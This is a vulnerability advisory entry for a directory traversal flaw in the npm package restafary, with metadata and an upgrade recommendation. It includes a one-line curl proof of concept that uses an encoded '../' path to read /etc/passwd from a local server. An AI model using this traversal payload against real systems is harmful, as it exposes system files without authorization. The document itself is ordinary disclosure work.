GHSA-xg5r-8j97-2wrj

Suggest an improvement
Source
https://github.com/advisories/GHSA-xg5r-8j97-2wrj
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/02/GHSA-xg5r-8j97-2wrj/GHSA-xg5r-8j97-2wrj.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-xg5r-8j97-2wrj
Aliases
Published
2019-02-18T23:39:22Z
Modified
2023-11-08T03:58:10.722738Z
Summary
Directory Traversal in restafary
Details

Affected versions of restafary are susceptible to a directory traversal vulnerability when a root path is specified in the configuration.

Proof of Concept

curl -i -s -k  -X 'GET' -H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ=' 'http://localhost:8000/api/v1/fs/..%2f..%2fetc/passwd'

Recommendation

Update to version 1.6.1 or later.

Database specific
{
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-22"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T22:03:10Z"
}
References

Affected packages

npm / restafary

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.6.1